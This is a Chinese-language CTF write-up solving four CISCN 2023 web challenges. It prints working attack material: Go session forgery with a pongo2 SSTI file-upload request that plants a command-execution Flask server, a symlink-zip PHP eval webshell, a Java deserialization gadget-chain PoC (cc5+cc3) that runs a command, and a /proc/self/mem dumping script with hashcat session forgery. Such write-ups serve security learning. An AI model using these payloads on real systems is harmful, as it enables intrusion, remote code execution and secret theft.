2023CISCN初赛WEB gosession 考点:GoLang Session 伪造 && GoLang pongo2 SSTI
Session 伪造 给了源码,在 route.go 里面有三个路由,首先看 Index ,获取 session-name 的值,判断 session.Values[“name”] ,为空则赋值为 guest ,并保存,返回 hello guest 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 func Index (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] == nil { session.Values["name" ] = "guest" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } } c.String(200 , "Hello, guest" ) }
有 guest 就有 admin ,下面有个 admin 的路由,那就要想办法伪造 session.Values["name"] = admin
,但是这个 go 的 session 用了密钥来加密,密钥的获取在全局变量处:var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
额,这个从环境变量中获取,只能推测为空来尝试一下了,不然连 admin 都进不去也别想能看到环境变量了,还好确实是空()。
本地用源码起一个环境,加一个 Key 路由获取 admin 的 session:
1 2 3 4 5 6 7 8 9 10 11 12 13 func Key (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } session.Values["name" ] = "admin" err = session.Save(c.Request, c.Writer) if err != nil { return } c.String(200 , "Key!!!" ) }
Pongo2 SSTI 成功登录,看源码,发现这里获取了 name 的值,经过一个双引号转义之后直接模板渲染,存在 Pongo2 SSTI 漏洞。
再看 Flask 这个路由,发现会请求内网的 5000 端口,传个 / 看下是什么东西:
http://127.0.0.1:12345/flask?name=/
发现是一个 flask 服务,而且暴露了绝对路径和源码内容。
之前没有系统了解过,这里先学习一下 pongo2 的 SSTI (和 Django 的 SSTI 语法有点像) 依然是双引号,参考文章 :
1 2 3 4 5 6 7 8 9 10 11 12 13 {{.}} {{.FieldName}} {{range …}}{{end}} {{with …}}{{end}} {{if …}}\{\{else }}\{\{end}} {{xxx | xxx}} {{template "navbar" }}
可以先探一下版本:
本地文件包含
如果没有转义双引号(本地测试注释掉 xsswaf ),则可以包含任意文件(记得 URL 编码)。
{{ include "/etc/passwd" }}
调用函数
pongo2 同样支持函数调用,官方给出了一些参考示例:
其中 simple 就是模板渲染时的上下文信息,因此在函数调用时需要根据 context 的值来寻找可以利用的函数。这里题目的 context 为 gin.Context 对象。从 gin 的官方文档 中可以看到 context 中可以调用的函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 type Contextfunc CreateTestContextOnly (w http.ResponseWriter, r *Engine) (c *Context)func (c *Context) Abort()func (c *Context) AbortWithError(code int , err error ) *Errorfunc (c *Context) AbortWithStatus(code int )func (c *Context) AbortWithStatusJSON(code int , jsonObj any)func (c *Context) AddParam(key, value string )func (c *Context) AsciiJSON(code int , obj any)func (c *Context) Bind(obj any) error func (c *Context) BindHeader(obj any) error func (c *Context) BindJSON(obj any) error func (c *Context) BindQuery(obj any) error func (c *Context) BindTOML(obj any) error func (c *Context) BindUri(obj any) error ......
尝试调用一下:
绕过字符串过滤
由于我们可以调用上面这些函数,所以自然有很多方法来绕过对字符串的过滤,由于这里仅仅对参数 name 进行了过滤,那经典的方法就是用别的参数或者写在别的位置再用 name 获取。 一种常见的思路是通过 http 头传入字符串,然后通过获取头信息来得到这个字符串。
gin 框架的 http.Request 类保存了 http 请求的相关内容,可以通过里面的 Header 获取 http 头信息,而 Context 类的 Request 成员变量就是一个 http.Request 指针。因此可以通过 c 来获取到 http 头信息。
注意: gin 会将输入的 http 头的首字符换成大写。
结合刚刚发现的内网的 Flask 服务,可以通过 SSTI 上传一个文件来覆盖 /app/server.py ,从而达到 SSRF 。
任意文件上传
可以寻找是否有文件操作的函数,搜索 Context 文档时发现存在 SaveUploadedFile 方法:func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error
一般情况下,需要先获取上传文件的 multipart.FileHeader 对象,然后再使用 SaveUploadedFile 。而Context.FormFile 函数可以从上传的文件中通过 filename 获取这个对象:func (c *Context) FormFile(name string) (*multipart.FileHeader, error)
完整发包如下,成功覆盖 /app/server.py 文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.Header.Filename[0]),c.Request.Header.Filepath[0])}} HTTP/1.1 Host: 127.0.0.1:12345 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Filename: file Filepath: /app/server.py Accept-Encoding: gzip, deflate, br Connection: close Cookie: session-name=MTcwMTQyMjQxNnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXy3sF034ti5Ya3C9mHee_bEdvOaP_rN10M_0SrqkkCVOQ== Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Content-Length: 566 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwT9VdDXSgZPm0yn ------WebKitFormBoundaryqwT9VdDXSgZPm0yn Content-Disposition: form-data; name="file"; filename="server.py" Content-Type: image/jpeg from flask import Flask, request import os app = Flask(__name__) @app.route('/') def index(): name = request.args['name'] res = os.popen(name).read() return res + " no ssti" if __name__ == "__main__": app.run(host="127.0.0.1", port=5000, debug=True) ------WebKitFormBoundaryqwT9VdDXSgZPm0yn Content-Disposition: form-data; name="submit" 提交 ------WebKitFormBoundaryqwT9VdDXSgZPm0yn--
另外一种通过其他参数而不是通过 http 头的 payload (大头师傅提供)
1 /admin?name={%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py
c.HandlerName的值为main/route.Admin
,接着用first过滤器获取到的就是m
字符,用last过滤器获取到的就是n
字符,另外记得进行 url 编码。
Unzip 考点:zip 软链接
1 2 3 4 5 6 7 8 9 10 <?php error_reporting (0 );highlight_file (__FILE__ );$finfo = finfo_open (FILEINFO_MIME_TYPE);if (finfo_file ($finfo , $_FILES ["file" ]["tmp_name" ]) === 'application/zip' ){ exec ('cd /tmp && unzip -o ' . $_FILES ["file" ]["tmp_name" ]); };
unzip -o 解压 ZIP 文件,并覆盖任何已存在的同名文件。 上传路径限死在 /tmp ,可以通过上传一个软链接文件夹指向 /var/www/html ,然后上传一个同名文件夹,内含 shell.php,覆盖软链接文件夹的同时,软链接依然存在,相当于直接修改了 /var/www/html 文件夹,访问 shell.php 即可。
1 2 3 4 5 6 7 8 9 10 mkdir 1cd 1ln -s /var/www/html test zip --symlinks test.zip ./* mkdir test cd test echo "<?php eval(\$_POST[1]);?>" > shell.phpcd ..zip -r test1.zip test
DeserBug 参考链接:https://unk.icu/2023/05/29/ciscn2023/ https://p4d0rn.gitbook.io/java/ctf/deserbug
考点:java 反序列化 cc 链
一个 jar 包,一个 lib ,反编译 jar 包得到 java 源码,在项目结构里面把 lib 包进来,然后在 sources 源码里面把 cc 和 hutool 的删掉(会报错),这样基本就可以正常本地启动 Testapp 了,可以方便以后的调试。以后记得报错的依赖直接删掉,自己引入就行。
看一下 Testapp 的源码,就是要传入 base64 encode 的字符串,会自动反序列化。
cc 版本 3.2.2 ,基本所有不安全的反序列化类都加了个默认关闭的开关,原来的 cc 链肯定都用不了了,但是提供了一个 Myexpect 的类,这里面关键在于可以实例化一个构造方法单参数的类:
cc3 里的 TrAXFilter 就是这么一个类,传入恶意 templates ,实例化的时候就会触发 newTransforer,从而完成经典的恶意类加载,那么这题链子的后半段就已经确定了。
接下来就要想如何从 readObject 到 getAnyexcept 的方法,从提示中可以看到 JSONObject 的 put 方法会自动调用到 getAnyexcept ,JSONObject 和 Jackson 类似,put 方法可以调用 value 的 getter 方法。
cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
那问题又变成了如何触发到 JSONObject 的 put 方法,cc5 链前半段就是触发到一个 map 对象的 put 方法,而这个 JSONObject 也是一个 map 对象,于是链子完成了,cc5+cc3 。
调用链如下:
TestApp.readObject -> HashMap.hash -> TiedMapEntry.hashCode -> TiedMapEntry.getValue -> LazyMap.get -> JSONObject.put -> JSONObject.set -> PropDesc.getValue -> Myexpect.getAnyexpect -> TrAXFilter.TrAXFilter -> TemplatesImpl.newTransfomer ……
unknown 师傅的立体版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 HashMap ->readObject() ->hash(key) TiedMapEntry ->hashCode() ->getValue() ->map.get(key) LazyMap ->get(key) ->this.map.put(key, value) JSONObject ->put(...,value) ->value.getter Myexpect ->getAnyexcept() //这里可以调用可控类的可控参数的构造器 TrAXFilter ->TrAXFilter(templates) ->templates.newTransformer() TemplatesImpl ->newTransformer()
poc.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import cn.hutool.json.JSONObject;import com.app.Myexpect;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URLEncoder;import java.util.Base64;public class poc { public static void setFieldValue (Object obj, String fieldName, Object newValue) throws Exception { Class clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, newValue); } public static void main (String[] args) throws Exception { byte [] code = ClassPool.getDefault().get(a.class.getName()).toBytecode(); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "paz" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Myexpect myexpect = new Myexpect (); myexpect.setTargetclass(TrAXFilter.class); myexpect.setTypeparam(new Class [] { Templates.class }); myexpect.setTypearg(new Object [] { obj }); JSONObject entries = new JSONObject (); LazyMap lazyMap = (LazyMap) LazyMap.decorate(entries, new ConstantTransformer (myexpect)); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "test" ); BadAttributeValueExpException bad = new BadAttributeValueExpException (null ); setFieldValue(bad,"val" ,tiedMapEntry); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(bad); oos.close(); byte [] byteArray = baos.toByteArray(); String encodedString = URLEncoder.encode(Base64.getEncoder().encodeToString(byteArray)); System.out.println(encodedString); } }
a.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import java.io.IOException;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class a extends com .sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{ static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
本地可弹计算器之后把 calc 换成反弹 shell 的命令就行。java 还是得多做题,这题主要考察的还是对 cc 链的理解和活用。
reading 考点:读取内存获得 secret_key 和 key && 爆破时间戳
给了 server.py ,上来就是:
读 flag 的路由里面需要 session 有正确的 key ,于是这两个参数的值我们都必须知道,而 books 的路由里面有一个任意文件读取,将两个点变成三个点可以目录穿越:
而且这里的文件读取提供了 page_size 参数,也就是说可以分开读,这是否暗示我们去读无比大的文件。根据师傅们的经验,这里的操作是要先读取 /proc/self/maps 文件,得到内存映射信息,再根据这些映射信息,逐个在 /proc/self/mem 中读取内容,正则表达式匹配 md5 格式的字符串,两个连在一起的就是 secret_key 和 key 。
/proc/self/maps
文件在 Linux 系统中提供了一个正在运行的进程的内存映射快照。这个文件是 /proc
文件系统的一部分,它是一个虚拟的文件系统,提供了一个接口到内核和运行中进程的内部数据结构。/proc/self/maps
特别地展示了调用它的进程的内存映射信息。它包含以下信息:
地址范围 :每行以一个地址范围开头,格式为 起始地址-结束地址
。这代表了进程内存中一个特定区域的虚拟地址。
权限 :地址范围后面是一组权限标志,如 r
(可读),w
(可写),x
(可执行)和 s
(共享)。例如,r-xp
表示一个可读、可执行但不可写的内存区域。
偏移量 :接着是映射文件在文件中的偏移量,表明内存区域内容的起始点在源文件中的位置,通过这些偏移量,我们可以分块读 /proc/self/mem 的内容。
设备 :显示了映射到内存区域的设备的主要和次要编号。
inode :与映射区域相关联的文件的 inode 编号。如果区域没有映射到文件,则此字段为零。
路径名 :如果内存映射区域与特定文件相关联(例如共享库或程序自身的可执行文件),这里会显示该文件的路径。匿名映射(如堆、栈、和线程的栈)通常没有关联的路径名。
00400000-00452000 r-xp 00000000 08:01 787 /usr/bin/cat
/proc/self/mem
是 Linux 系统中的一个特殊文件,它代表了当前进程的虚拟内存空间。通过这个文件,可以直接访问或修改调用进程的内存内容。/proc/self/mem
的主要特点和用途如下:
当前进程的内存映射 :/proc/self
目录下的文件和链接是特定于访问这些文件的进程的。因此,/proc/self/mem
指向的是当前进程的内存空间。
直接内存访问 :通过读取或写入 /proc/self/mem
,可以直接访问或修改进程的内存。这通常需要精确的内存地址,并且对应的内存区域必须是可访问的(例如,通过 /proc/self/maps
文件中的信息确定的区域)。
调试和分析工具 :/proc/self/mem
常被用于高级调试和内存分析工具,以便检查或更改进程状态。例如,调试器可能会使用它来读取或更改进程的内存内容。
安全限制 :由于直接访问进程的内存可能导致安全问题,对 /proc/self/mem
的访问通常受到严格的权限控制。只有具有适当权限的用户或进程才能读取或写入这个文件。
内存修改的风险 :不当地使用 /proc/self/mem
,比如错误地修改内存内容,可能会导致进程崩溃或不稳定。
下面是一个具体读取并下载 /proc/self/mem 的 py 脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import os, requests, redef download (file, offset=0 , length=0 ): if offset: page = int (offset) // int (length) print (f"{url} books?book=.../.../.../.../...{file} &page={str (page)} &page_size={length} " ) res = requests.get(f"{url} books?book=.../.../.../.../...{file} &page={str (page)} &page_size={length} " ) else : res = requests.get(f"{url} books?book=.../.../.../.../...{file} &page=1&page_size=2000000000" ) text = res.text return text url = "http://127.0.0.1:12345/" maps = open (f'maps' , 'wb' ) maps.write(download("/proc/self/maps" ).encode()) maps.close() os.system("rm -rf ./save;mkdir save" ) for i in open ('maps' , 'r' ).read().split('\n' ): if ".so" in i or "lib" in i or "python3" in i or "dev" in i: continue t = re.search(r'[0-9a-f]{12}-[0-9a-f]{12}' , i) if t: location = t.group().split("-" ) else : continue try : start, end = "0x" + location[0 ], "0x" + location[1 ] except : continue print ("./save/" + start + "-" + end) save = open ( "./save/" + start + "-" + end, "wb" ) save.write( download( "/proc/self/mem" , str (int (start, 16 )), str (int (end, 16 ) - int (start, 16 )) ).encode() )
[a-f0-9]{32}
正则匹配 md5:
已知 key ,需要爆破出一开始的纳秒时间戳来作为 session 里的 key ,这就需要我们先使用 python 获得一次时间戳,然后快速开启环境,中间差的时间就用 hashcat 来爆破,爆到 key 之后再用 flask-session 伪造即可获得 flag 。
hashcat -m 0 -a 3 "0844c753f53bd47f934cf9f25626d650" "168552091?d?d?d?d?d?d?d?d?d?d"
python3 flasksession.py encode -s "ffb3695930ca548b493af5328fcefc9d" -t "{'key':'1685520915770760324'}"
记住本地文件读取可以从内存信息中获取变量的值。